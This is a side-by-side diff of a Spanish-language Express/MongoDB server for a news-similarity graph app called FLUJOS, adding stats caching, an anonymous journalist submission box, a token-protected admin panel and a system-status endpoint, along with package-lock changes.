const formattedNodes = nodes.map((result) => ({ const formattedNodes = nodes.map((result) => ({
id: result.archivo.trim(), id: result.archivo.trim(), // Utilizar el nombre de archivo exacto sin normalizar
group: result.subtema || 'sin subtema', group: result.subtema || 'sin subtema',
tema: result.tema || 'sin tema', tema: result.tema || 'sin tema',
content: result.texto || '', content: result.texto || '',
fecha: result.fecha || '', fecha: result.fecha || '',
fuente: result.fuente || result.autor || result.source || '',
imagen_url: result.imagen_url || '',
type: 'texto',
})); }));
// Nodos de imagen — image_url construida desde image_path absoluto // Obtener los IDs de los nodos
const WIKI_IMAGES_BASE = WIKI_IMAGES_DIR.endsWith(path.sep) const nodeIds = formattedNodes.map(node => node.id);
? WIKI_IMAGES_DIR console.log('IDs de nodos:', nodeIds);
: WIKI_IMAGES_DIR + path.sep;
const imgFormattedNodes = imgNodes.map((result) => {
let relativePath = null;
if (result.image_path && result.image_path.startsWith(WIKI_IMAGES_BASE)) {
const rel = result.image_path.slice(WIKI_IMAGES_BASE.length);
// Reject paths with traversal sequences or absolute paths
if (rel && !rel.includes('..') && !rel.startsWith('/')) {
relativePath = rel;
}
}
return {
id: result.archivo.trim(),
group: result.subtema || result.tema || 'imagen',
tema: result.tema || 'sin tema',
content: result.texto || result.descripcion_wiki || '',
fecha: result.fecha || '',
fuente: result.fuente || result.autor || result.source || '',
type: 'imagen',
image_url: relativePath ? `/wiki-images/${relativePath}` : null,
label: result.subtema || result.tema || result.archivo,
};
}).filter(n => n.image_url);
const allNodes = [...formattedNodes, ...imgFormattedNodes]; // Leer el parámetro 'complejidad' de la query (que en tu front envías como % de similitud)
const formattedNodes_final = allNodes; const porcentajeSimilitudMin = parseFloat(complejidad) || 0;
console.log('Porcentaje de similitud mínimo (desde complejidad):', porcentajeSimilitudMin);
const nodeIds = formattedNodes_final.map(node => node.id); // Construir la consulta para obtener los enlaces relacionados con los nodos obtenidos
// Links texto-texto: filtro por complejidad del usuario.
// Links imagen-texto (source1_type='imagen'): umbral fijo de 3% porque la similitud
// TF-IDF keyword↔texto es estructuralmente baja (~3-10%) y quedarían siempre ocultos.
const IMG_UMBRAL = 3.0;
const linksQuery = { const linksQuery = {
porcentaje_similitud: { $gte: porcentajeSimilitudMin },
noticia1: { $in: nodeIds }, noticia1: { $in: nodeIds },
noticia2: { $in: nodeIds }, noticia2: { $in: nodeIds },
$or: [
{ porcentaje_similitud: { $gte: porcentajeSimilitudMin } },
{ porcentaje_similitud: { $gte: IMG_UMBRAL }, source1_type: 'imagen' },
],
}; };
console.log('Consulta para enlaces:', linksQuery);
// Ejecutar la consulta y obtener los enlaces
console.log('Ejecutando consulta para enlaces...');
const links = await comparacionesCollection.find(linksQuery).toArray(); const links = await comparacionesCollection.find(linksQuery).toArray();
console.log('Enlaces obtenidos:', links.length);
// Limitar links por nodo: cada nodo muestra solo sus top MAX conexiones más fuertes. // Formatear los enlaces sin normalizar los IDs
// Sin esto, los 100 nodos wikipedia del mismo tema se conectan todos entre sí const formattedLinks = links.map((result) => ({
// (>8000 links) y forman una bola densa inmanejable.
const MAX_LINKS_PER_NODE = 8;
links.sort((a, b) => b.porcentaje_similitud - a.porcentaje_similitud);
const nodeDegree = new Map();
const selectedLinks = [];
for (const link of links) {
const n1 = link.noticia1.trim();
const n2 = link.noticia2.trim();
const d1 = nodeDegree.get(n1) || 0;
const d2 = nodeDegree.get(n2) || 0;
if (d1 < MAX_LINKS_PER_NODE && d2 < MAX_LINKS_PER_NODE) {
selectedLinks.push(link);
nodeDegree.set(n1, d1 + 1);
nodeDegree.set(n2, d2 + 1);
}
}
const formattedLinks = selectedLinks.map((result) => ({
source: result.noticia1.trim(), source: result.noticia1.trim(),
target: result.noticia2.trim(), target: result.noticia2.trim(),
value: result.porcentaje_similitud, value: result.porcentaje_similitud,
})); }));
res.json({ nodes: formattedNodes_final, links: formattedLinks }); // Enviar los datos al cliente en formato JSON
res.json({ nodes: formattedNodes, links: formattedLinks });
console.log('Datos enviados al cliente');
} catch (error) { } catch (error) {
console.error('Error al obtener datos:', error); console.error('Error al obtener datos:', error);
res.status(500).json({ error: 'Error al obtener datos' }); res.status(500).json({ error: 'Error al obtener datos' });
} }
}); });
// ── STATS: cálculo pesado → MongoDB, endpoint solo lee ─────────────────────────
const STATS_TEMAS = ['guerra global','inteligencia y seguridad','cambio climático','demografía y sociedad','economía y corporaciones'];
const STATS_TEXT_COLS = ['wikipedia','noticias','torrents','imagenes_wiki'];
async function computeAndSaveStats() {
if (!db) return;
console.log('[stats] Calculando stats...');
try {
const [wikipedia, noticias, torrents, imagenes, imagenes_wiki, comparaciones,
comp_imagen_total] = await Promise.all([
db.collection('wikipedia').countDocuments({}),
db.collection('noticias').countDocuments({}),
db.collection('torrents').countDocuments({}),
db.collection('imagenes').countDocuments({}),
db.collection('imagenes_wiki').countDocuments({}),
db.collection('comparaciones').estimatedDocumentCount(),
db.collection('comparaciones').countDocuments({ source1_type: 'imagen' }),
]);
const por_tema = {};
await Promise.all(STATS_TEMAS.map(async tema => {
const counts = await Promise.all(
STATS_TEXT_COLS.map(col => db.collection(col).countDocuments({ tema }))
);
por_tema[tema] = {};
STATS_TEXT_COLS.forEach((col, i) => { por_tema[tema][col] = counts[i]; });
}));
const subtemaRaw = await db.collection('wikipedia').aggregate([
{ $match: { tema: { $in: STATS_TEMAS } } },
{ $group: { _id: { tema: '$tema', subtema: '$subtema' }, n: { $sum: 1 } } },
{ $sort: { n: -1 } },
]).toArray();
const subtemas = {};
for (const doc of subtemaRaw) {
const { tema, subtema } = doc._id;
if (!subtemas[tema]) subtemas[tema] = [];
if (subtemas[tema].length < 10)
subtemas[tema].push({ subtema: subtema || 'sin subtema', n: doc.n });
}
const notSubRaw = await db.collection('noticias').aggregate([
{ $match: { tema: { $in: STATS_TEMAS } } },
{ $group: { _id: { tema: '$tema', subtema: '$subtema' }, n: { $sum: 1 } } },
{ $sort: { n: -1 } },
]).toArray();
const subtemas_noticias = {};
for (const doc of notSubRaw) {
const { tema, subtema } = doc._id;
if (!subtemas_noticias[tema]) subtemas_noticias[tema] = [];
if (subtemas_noticias[tema].length < 8)
subtemas_noticias[tema].push({ subtema: subtema || 'sin subtema', n: doc.n });
}
const compImgRaw = await db.collection('comparaciones').aggregate([
{ $match: { source1_type: 'imagen' } },
{ $group: {
_id: '$tema',
count: { $sum: 1 },
avg_sim: { $avg: '$porcentaje_similitud' },
max_sim: { $max: '$porcentaje_similitud' },
}},
]).toArray();
const comp_imagen = { total: comp_imagen_total, por_tema: {} };
for (const d of compImgRaw) {
comp_imagen.por_tema[d._id] = {
count: d.count,
avg_sim: Math.round(d.avg_sim * 10) / 10,
max_sim: Math.round(d.max_sim * 10) / 10,
};
}
// $sample sin filtro — 99.94% de docs son texto-texto
const simRaw = await db.collection('comparaciones').aggregate([
{ $sample: { size: 3000 } },
{ $group: { _id: null, avg_sim: { $avg: '$porcentaje_similitud' }, max_sim: { $max: '$porcentaje_similitud' } } },
]).toArray();
const comp_texto = simRaw[0]
? { avg_sim: Math.round(simRaw[0].avg_sim * 10) / 10, max_sim: Math.round(simRaw[0].max_sim * 10) / 10 }
: { avg_sim: 0, max_sim: 0 };
const snapshot = {
_id: 'stats',
computed_at: new Date(),
totales: { wikipedia, noticias, torrents, imagenes, imagenes_wiki, comparaciones },
por_tema, subtemas, subtemas_noticias, comp_imagen, comp_texto,
};
await db.collection('stats_cache').replaceOne({ _id: 'stats' }, snapshot, { upsert: true });
console.log('[stats] Stats guardadas en MongoDB');
} catch (e) {
console.error('[stats] Error calculando stats:', e.message);
}
}
// Calcular al arrancar (si no hay cache o tiene más de 6h) y luego cada 6h
async function initStats() {
if (!db) return;
const cached = await db.collection('stats_cache').findOne({ _id: 'stats' });
const sixHours = 6 * 60 * 60 * 1000;
if (!cached || !cached.computed_at || Date.now() - new Date(cached.computed_at).getTime() > sixHours) {
computeAndSaveStats(); // async, no bloquea el arranque
}
setInterval(computeAndSaveStats, sixHours);
}
app.get('/api/stats', async (req, res) => {
try {
if (!db) return res.status(500).json({ error: 'Sin conexión a BD' });
const cached = await db.collection('stats_cache').findOne({ _id: 'stats' });
if (!cached) return res.status(503).json({ error: 'Stats aún calculándose, intenta en unos minutos' });
const { _id, ...data } = cached;
res.json(data);
} catch (e) {
console.error('Error /api/stats:', e);
res.status(500).json({ error: 'Error al obtener estadísticas' });
}
});
// **Buzón seguro: recepción de material de colaboradores/periodistas**
const TEMAS_VALIDOS = new Set([
'guerra global', 'inteligencia y seguridad', 'cambio climático',
'economía y corporaciones', 'demografía y sociedad', 'otros',
]);
// Página HTML de resultado (para envíos desde el formulario nativo, sin JavaScript)
function renderSubmitPage(payload) {
const ok = payload.ok;
const inner = ok
? `<div class="tag ok">Envío recibido</div>
<h1>Gracias. Tu material está a salvo.</h1>
<p>Guarda este código de referencia. Es tu único identificador y no lo compartas por canales inseguros:</p>
<div class="ref">${payload.ref}</div>
<p class="small">No hemos registrado tu IP. Si dejaste un contacto, te escribiremos por ahí.</p>`
: `<div class="tag err">No se pudo enviar</div>
<h1>Algo ha fallado</h1>
<p>${(payload.error || 'Inténtalo de nuevo.').replace(/[<>&]/g, '')}</p>`;
return `<!DOCTYPE html><html lang="es"><head><meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex">
<title>UP-LEAKS // ${ok ? 'envío recibido' : 'error'}</title>
<style>
@font-face{font-family:'Fira Code';src:url('/fonts/fira-code-400.woff2') format('woff2');font-weight:400}
@font-face{font-family:'Fira Code';src:url('/fonts/fira-code-700.woff2') format('woff2');font-weight:700}
*{box-sizing:border-box;margin:0}
body{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:24px;
font-family:'Fira Code',monospace;color:#d7f5d0;text-align:center;
background:linear-gradient(rgba(0,0,0,.86),rgba(0,8,0,.95)),url('/images/flujos6.jpg') center/cover fixed;}
.card{max-width:560px;background:rgba(6,10,6,.75);border:1px solid rgba(57,255,20,.35);
backdrop-filter:blur(8px);padding:44px 38px;box-shadow:0 0 60px -20px rgba(57,255,20,.5)}
.tag{display:inline-block;font-size:12px;letter-spacing:.18em;text-transform:uppercase;padding:4px 12px;border:1px solid;margin-bottom:18px}
.tag.ok{color:#39ff14;border-color:#39ff14}.tag.err{color:#ff2d2d;border-color:#ff2d2d}
h1{font-size:clamp(24px,4vw,32px);margin-bottom:14px;font-weight:700;line-height:1.15}
p{color:#8fb98a;font-size:15px;line-height:1.6;margin-bottom:14px}.small{font-size:13px;color:#6f9a6a}
.ref{font-size:22px;font-weight:700;color:#39ff14;letter-spacing:.08em;text-shadow:0 0 12px rgba(57,255,20,.6);
border:1px dashed rgba(57,255,20,.5);padding:14px;margin:20px 0}
.btn{display:inline-block;margin-top:16px;color:#39ff14;text-decoration:none;border:1px solid #39ff14;
padding:12px 28px;text-transform:uppercase;letter-spacing:.06em;font-weight:700;font-size:13px;transition:.18s}
.btn:hover{background:#39ff14;color:#000;box-shadow:0 0 18px -2px rgba(57,255,20,.7)}
</style></head><body><div class="card">${inner}
<a class="btn" href="/journalist.html">${ok ? 'volver al buzón' : 'reintentar'}</a></div></body></html>`;
}
function sendSubmitResult(req, res, status, payload) {
const wantsHtml = (req.body && req.body.render === 'html') || (req.headers.accept || '').includes('text/html');
if (wantsHtml) return res.status(status).type('html').send(renderSubmitPage(payload));
return res.status(status).json(payload);
}
app.post('/api/submit', submitRateLimit, (req, res) => {
submitUpload.array('adjuntos', 8)(req, res, async (err) => {
if (err) {
const msg = err.code === 'LIMIT_FILE_SIZE'
? 'Algún archivo supera el límite de 50 MB.'
: (err.code === 'LIMIT_FILE_COUNT' ? 'Máximo 8 archivos por envío.' : 'Error al subir los archivos.');
return sendSubmitResult(req, res, 400, { ok: false, error: msg });
}
try {
// Honeypot anti-bots: si el campo oculto viene relleno, descartamos en silencio.
if (req.body && req.body.website) {
return sendSubmitResult(req, res, 200, { ok: true, ref: 'RECIBIDO' });
}
const mensaje = (req.body.mensaje || '').toString().slice(0, 20000).trim();
let tema = (req.body.tema || 'otros').toString().trim();
if (!TEMAS_VALIDOS.has(tema)) tema = 'otros';
const contacto = (req.body.contacto || '').toString().slice(0, 400).trim();
const files = req.files || [];
if (!mensaje && files.length === 0) {
return sendSubmitResult(req, res, 400, { ok: false, error: 'Escribe un mensaje o adjunta al menos un archivo.' });
}
const ref = 'UPL-' + Date.now().toString(36).toUpperCase()
+ '-' + Math.random().toString(36).slice(2, 6).toUpperCase();
const doc = {
ref,
tema,
mensaje,
contacto,
archivos: files.map((f) => ({
nombre_original: f.originalname,
guardado: path.basename(f.path),
bytes: f.size,
mimetype: f.mimetype,
})),
estado: 'nuevo',
creado: new Date(),
};
// No registramos IP ni contenido en logs por privacidad de la fuente.
if (db) await db.collection('submissions').insertOne(doc);
return sendSubmitResult(req, res, 200, { ok: true, ref });
} catch (e) {
console.error('Error en /api/submit:', e.message);
return sendSubmitResult(req, res, 500, { ok: false, error: 'No se pudo procesar el envío. Inténtalo de nuevo.' });
}
});
});
// **Panel de administración: lectura de envíos (fail-closed)**
const crypto = require('crypto');
const ADMIN_TOKEN_FILE = path.join(__dirname, '../../FLUJOS_DATOS/.admin_token');
function getAdminToken() {
if (process.env.ADMIN_TOKEN && process.env.ADMIN_TOKEN.trim()) return process.env.ADMIN_TOKEN.trim();
try {
const t = fs.readFileSync(ADMIN_TOKEN_FILE, 'utf8').trim();
return t || null;
} catch (e) { return null; }
}
function safeEqual(a, b) {
const ba = Buffer.from(String(a)); const bb = Buffer.from(String(b));
if (ba.length !== bb.length) return false;
return crypto.timingSafeEqual(ba, bb);
}
function requireAdmin(req, res, next) {
const token = getAdminToken();
if (!token) return res.status(503).json({ ok: false, error: 'Panel no configurado: falta ADMIN_TOKEN o FLUJOS_DATOS/.admin_token' });
const auth = req.headers.authorization || '';
const provided = auth.startsWith('Bearer ') ? auth.slice(7) : '';
if (!provided || !safeEqual(provided, token)) {
return res.status(401).json({ ok: false, error: 'No autorizado' });
}
next();
}
// Listado de envíos (metadatos + mensaje). Más recientes primero.
app.get('/api/submissions', requireAdmin, async (req, res) => {
try {
if (!db) return res.status(503).json({ ok: false, error: 'BD no disponible' });
const limit = Math.min(parseInt(req.query.limit, 10) || 100, 500);
const docs = await db.collection('submissions')
.find({}, { projection: { _id: 0 } })
.sort({ creado: -1 }).limit(limit).toArray();
res.json({ ok: true, total: docs.length, submissions: docs });
} catch (e) {
console.error('Error /api/submissions:', e.message);
res.status(500).json({ ok: false, error: 'Error al leer los envíos' });
}
});
// Marcar un envío como revisado / archivado
app.post('/api/submissions/:ref/estado', requireAdmin, express.json(), async (req, res) => {
try {
if (!db) return res.status(503).json({ ok: false, error: 'BD no disponible' });
const estado = ['nuevo', 'revisado', 'archivado'].includes((req.body || {}).estado) ? req.body.estado : null;
if (!estado) return res.status(400).json({ ok: false, error: 'estado inválido' });
const r = await db.collection('submissions').updateOne({ ref: req.params.ref }, { $set: { estado } });
res.json({ ok: r.matchedCount > 0, estado });
} catch (e) {
res.status(500).json({ ok: false, error: 'Error al actualizar' });
}
});
// Descarga de un adjunto (valida basename contra traversal; sirve como adjunto)
app.get('/api/submissions/file/:guardado', requireAdmin, (req, res) => {
const name = path.basename(req.params.guardado || '');
if (!name || name.includes('..') || name.startsWith('.')) return res.status(400).json({ ok: false, error: 'nombre inválido' });
const full = path.join(SUBMISSIONS_DIR, name);
if (!full.startsWith(SUBMISSIONS_DIR) || !fs.existsSync(full)) return res.status(404).json({ ok: false, error: 'no encontrado' });
res.setHeader('Content-Type', 'application/octet-stream');
res.setHeader('Content-Disposition', `attachment; filename="${name}"`);
res.setHeader('X-Content-Type-Options', 'nosniff');
fs.createReadStream(full).pipe(res);
});
// **Monitor del sistema: procesos, servicios y progreso de procesamiento (admin)**
const os = require('os');
const { exec } = require('child_process');
function sh(cmd, timeout = 4500) {
return new Promise((resolve) => { exec(cmd, { timeout }, (e, out) => resolve(e ? '' : String(out))); });
}
const SYS_SERVICES = ['mongod', 'flujos-stats', 'coconews-api', 'coconews-ingestor',
'coconews-translator', 'coconews-ner', 'coconews-embedder', 'flujos-pipeline'];
const SYS_MATCHERS = [
{ key: 'mongod', label: 'MongoDB', re: /mongod(\s|$)/ },
{ key: 'flujos-stats', label: 'FLUJOS · API del grafo', re: /FLUJOS_APP\.js/ },
{ key: 'coconews-api', label: 'Coconews · API', re: /coconews\/api\/server\.js/ },
{ key: 'ingestor', label: 'Ingestor RSS', re: /ingestor\.py/ },
{ key: 'translator', label: 'Traductor (ES)', re: /translator\.py/ },
{ key: 'ner', label: 'NER · entidades', re: /ner\.py/ },
{ key: 'embedder', label: 'Embedder en vivo', re: /workers\/embedder\.py/ },
{ key: 'backfill', label: 'Backfill de embeddings', re: /backfill_embeddings\.py/ },
{ key: 'motor', label: 'Comparación semántica (v2)', re: /motor_comparacion\.py/ },
{ key: 'pipeline', label: 'Pipeline maestro', re: /pipeline_maestro\.py/ },
{ key: 'mongolo', label: 'Comparación (word-overlap, viejo)', re: /pipeline_mongolo\.py/ },
];
app.get('/api/system', requireAdmin, async (req, res) => {
try {
const [psOut, actOut, timerOut, svcShow, timerEnabled] = await Promise.all([
sh('ps -eo pid,pcpu,pmem,rss,etimes,args --sort=-pcpu --no-headers'),
sh('systemctl is-active ' + SYS_SERVICES.join(' ')),
sh('systemctl show flujos-pipeline.timer -p NextElapseUSecRealtime -p LastTriggerUSec'),
sh('systemctl show flujos-pipeline.service -p ActiveState -p SubState'),
sh('systemctl is-enabled flujos-pipeline.timer'),
]);
const parseKV = (s) => { const o = {}; (s || '').split('\n').forEach((l) => { const i = l.indexOf('='); if (i > 0) o[l.slice(0, i)] = l.slice(i + 1).trim(); }); return o; };
const actLines = actOut.trim().split('\n');
const services = SYS_SERVICES.map((s, i) => ({ name: s, active: (actLines[i] || '').trim() === 'active' }));
const procesos = [];
const seen = new Set();
psOut.split('\n').forEach((line) => {
const m = line.trim().match(/^(\d+)\s+([\d.]+)\s+([\d.]+)\s+(\d+)\s+(\d+)\s+(.*)$/);
if (!m) return;
const args = m[6];
for (const mt of SYS_MATCHERS) {
if (mt.re.test(args)) {
procesos.push({ key: mt.key, label: mt.label, pid: +m[1], cpu: +m[2], mem: +m[3], rss: (+m[4]) * 1024, etimes: +m[5] });
seen.add(mt.key);
break;
}
}
});
let progress = null;
let comparacion = null;
if (db) {
const [torrTotal, torrEmb, torrProc, notiTotal, notiEmb, chunks, feedsAct, feedsFallo, subsNuevos, lastNoti] = await Promise.all([
db.collection('torrents').estimatedDocumentCount(),
db.collection('torrents').countDocuments({ embedding: { $exists: true } }), // vectores reales
db.collection('torrents').countDocuments({ procesado_embedding: true }), // procesados (incluye no-aptos)
db.collection('noticias').estimatedDocumentCount(),
db.collection('noticias').countDocuments({ embedding: { $exists: true } }),
db.collection('embeddings_chunks').estimatedDocumentCount(),
db.collection('coconews_feeds').countDocuments({ activo: true }),
db.collection('coconews_feeds').countDocuments({ fallos: { $gt: 0 } }),
db.collection('submissions').countDocuments({ estado: 'nuevo' }),
db.collection('noticias').find({}).sort({ _id: -1 }).limit(1).project({ fecha: 1, _id: 0 }).toArray(),
]);
progress = { torrTotal, torrEmb, torrProc, torrNoApto: Math.max(0, torrProc - torrEmb),
notiTotal, notiEmb, chunks, feedsAct, feedsFallo, subsNuevos,
lastNoti: (lastNoti[0] && lastNoti[0].fecha) || null };
// --- Comparación: qué colección sirve el front (v1 word-overlap vs v2 semántica) ---
const [v1Aristas, v2Aristas] = await Promise.all([
db.collection('comparaciones').estimatedDocumentCount(),
db.collection('comparaciones_v2').estimatedDocumentCount(),
]);
let v2Eventos = 0, v2Muestra = null;
if (v2Aristas > 0) {
[v2Eventos, v2Muestra] = await Promise.all([
db.collection('comparaciones_v2').countDocuments({ posible_evento: true }),
db.collection('comparaciones_v2').find({}).sort({ _id: -1 }).limit(1).project({ metodo: 1, modelo: 1, _id: 0 }).toArray().then((a) => a[0] || null),
]);
}
comparacion = {
activa: COMPARACIONES_COL,
v2Activa: COMPARACIONES_COL === 'comparaciones_v2',
v1Aristas, v2Aristas, v2Eventos,
metodo: (v2Muestra && v2Muestra.metodo) || null,
modelo: (v2Muestra && v2Muestra.modelo) || null,
};
}
// --- Pipeline maestro: reconstruir ejecuciones desde pipeline_log ---
const PIPE_FASES = ['scraping', 'analisis', 'comparacion'];
const PIPE_LABEL = { scraping: 'Scraping', analisis: 'Análisis', comparacion: 'Comparación' };
let pipelineMaestro = null;
if (db) {
const logs = await db.collection('pipeline_log').find({}).sort({ inicio: 1 }).toArray();
const runs = []; let cur = null;
logs.forEach((l) => {
if (l.fase === 'scraping' || !cur) { if (cur) runs.push(cur); cur = { inicio: l.inicio, fin: l.fin, fases: {} }; }
cur.fases[l.fase] = { estado: l.estado, inicio: l.inicio, fin: l.fin, stats: l.stats || {} };
if (l.fin && (!cur.fin || new Date(l.fin) > new Date(cur.fin))) cur.fin = l.fin;
});
if (cur) runs.push(cur);
const currentRun = runs[runs.length - 1] || null;
const finished = runs.filter((r) => r.fases.comparacion && r.fases.comparacion.fin);
const lastFinished = finished[finished.length - 1] || null;
const nowMs = Date.now();
const fasesArr = PIPE_FASES.map((f) => {
const e = currentRun && currentRun.fases[f];
const durSec = e ? (e.fin ? (new Date(e.fin) - new Date(e.inicio)) / 1000 : (nowMs - new Date(e.inicio)) / 1000) : null;
return { fase: f, label: PIPE_LABEL[f], estado: e ? e.estado : 'pendiente', durSec, stats: (e && e.stats) || {} };
});
const svcv = parseKV(svcShow);
const timerv = parseKV(timerOut);
const nextU = parseInt(timerv.NextElapseUSecRealtime, 10);
const lastU = parseInt(timerv.LastTriggerUSec, 10);
let nextRun = null;
if (nextU > 0) nextRun = Math.round(nextU / 1000);
else if (lastU > 0) nextRun = Math.round(lastU / 1000) + 12 * 3600 * 1000; // cada 12 h
const running = svcv.SubState === 'start' || svcv.ActiveState === 'activating' || fasesArr.some((f) => f.estado === 'en_progreso');
pipelineMaestro = {
fases: fasesArr,
runInicio: currentRun ? currentRun.inicio : null,
runElapsedSec: currentRun ? (nowMs - new Date(currentRun.inicio)) / 1000 : null,
lastDurSec: lastFinished ? (new Date(lastFinished.fin) - new Date(lastFinished.inicio)) / 1000 : null,
lastFin: lastFinished ? lastFinished.fin : null,
nextRun, running, cadencia: 'cada 12 h',
habilitado: (timerEnabled || '').trim() === 'enabled',
estado: fasesArr.some((f) => f.estado === 'error') ? 'error' : (running ? 'en_progreso' : 'idle'),
};
}
const nextPipeline = pipelineMaestro ? pipelineMaestro.nextRun : null;
res.json({
ok: true,
host: { load: os.loadavg(), cores: os.cpus().length, totalmem: os.totalmem(), freemem: os.freemem(), uptime: os.uptime() },
services, procesos, progress, nextPipeline, comparacion,
pipelines: { maestro: pipelineMaestro },
now: Date.now(),
});
} catch (e) {
console.error('/api/system:', e.message);
res.status(500).json({ ok: false, error: 'No se pudo leer el estado del sistema' });
}
});
// **Luego, definir las rutas de las páginas principales** // **Luego, definir las rutas de las páginas principales**
// Rutas para las páginas principales // Rutas para las páginas principales
app.get('/', (req, res) => { app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/index.html')); res.sendFile(path.join(__dirname, '../VISUALIZACION/public/index.html'));
}); });
app.get('/stats.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/stats.html'));
});
app.get('/climate.html', (req, res) => { app.get('/climate.html', (req, res) => {
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html')); res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
}); });
@ -843,9 +168,6 @@ app.get('/eco-corp.html', (req, res) => {
// **Después, configurar el middleware de archivos estáticos** // **Después, configurar el middleware de archivos estáticos**
// Imágenes scrapeadas de Wikipedia
app.use('/wiki-images', express.static(WIKI_IMAGES_DIR));
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public'))); app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
// Conexión a MongoDB usando variables de entorno // Conexión a MongoDB usando variables de entorno
@ -864,7 +186,6 @@ async function connectToMongoDB() {
await mongoClient.connect(); await mongoClient.connect();
db = mongoClient.db(dbName); db = mongoClient.db(dbName);
console.log('Conectado a MongoDB'); console.log('Conectado a MongoDB');
initStats();
} catch (error) { } catch (error) {
console.error('Error al conectar a MongoDB:', error); console.error('Error al conectar a MongoDB:', error);
process.exit(1); // Salir de la aplicación si no se puede conectar process.exit(1); // Salir de la aplicación si no se puede conectar
@ -875,7 +196,7 @@ async function connectToMongoDB() {
connectToMongoDB(); connectToMongoDB();
// Iniciar el servidor escuchando en todas las interfaces // Iniciar el servidor escuchando en todas las interfaces
app.listen(port, '127.0.0.1', () => { app.listen(port, '0.0.0.0', () => {
console.log(`La aplicación está escuchando en http://localhost:${port}`); console.log(`La aplicación está escuchando en http://localhost:${port}`);
}); });

View file

@ -20,7 +20,6 @@
"mongod": "^2.0.0", "mongod": "^2.0.0",
"mongodb": "^6.9.0", "mongodb": "^6.9.0",
"mongoose": "^7.3.4", "mongoose": "^7.3.4",
"multer": "^2.2.0",
"node-fetch": "^3.3.2", "node-fetch": "^3.3.2",
"tree": "^0.1.3" "tree": "^0.1.3"
}, },
@ -2347,11 +2346,6 @@
"node": ">=0.10.0" "node": ">=0.10.0"
} }
}, },
"node_modules/append-field": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/append-field/-/append-field-1.0.0.tgz",
"integrity": "sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw=="
},
"node_modules/argparse": { "node_modules/argparse": {
"version": "1.0.10", "version": "1.0.10",
"resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
@ -3101,6 +3095,7 @@
"version": "1.1.2", "version": "1.1.2",
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
"integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
"dev": true,
"license": "MIT" "license": "MIT"
}, },
"node_modules/buffer-xor": { "node_modules/buffer-xor": {
@ -3117,17 +3112,6 @@
"dev": true, "dev": true,
"license": "MIT" "license": "MIT"
}, },
"node_modules/busboy": {
"version": "1.6.0",
"resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz",
"integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==",
"dependencies": {
"streamsearch": "^1.1.0"
},
"engines": {
"node": ">=10.16.0"
}
},
"node_modules/bytes": { "node_modules/bytes": {
"version": "3.1.2", "version": "3.1.2",
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
@ -7871,51 +7855,6 @@
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/multer": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/multer/-/multer-2.2.0.tgz",
"integrity": "sha512-6rdyFg2kLrMh9Jee7/BMPuV9lEAd7lLW2YUpF9/YxR7njyoUwwQ0ZPh3TaIY50Sw6vlyD2HW3wGOkTS4P79xrQ==",
"dependencies": {
"append-field": "^1.0.0",
"busboy": "^1.6.0",
"concat-stream": "^2.0.0",
"type-is": "^1.6.18"
},
"engines": {
"node": ">= 10.16.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/express"
}
},
"node_modules/multer/node_modules/concat-stream": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-2.0.0.tgz",
"integrity": "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==",
"engines": [
"node >= 6.0"
],
"dependencies": {
"buffer-from": "^1.0.0",
"inherits": "^2.0.3",
"readable-stream": "^3.0.2",
"typedarray": "^0.0.6"
}
},
"node_modules/multer/node_modules/readable-stream": {
"version": "3.6.2",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
"integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
"dependencies": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
"util-deprecate": "^1.0.1"
},
"engines": {
"node": ">= 6"
}
},
"node_modules/nan": { "node_modules/nan": {
"version": "2.20.0", "version": "2.20.0",
"resolved": "https://registry.npmjs.org/nan/-/nan-2.20.0.tgz", "resolved": "https://registry.npmjs.org/nan/-/nan-2.20.0.tgz",
@ -10923,18 +10862,11 @@
"xtend": "^4.0.0" "xtend": "^4.0.0"
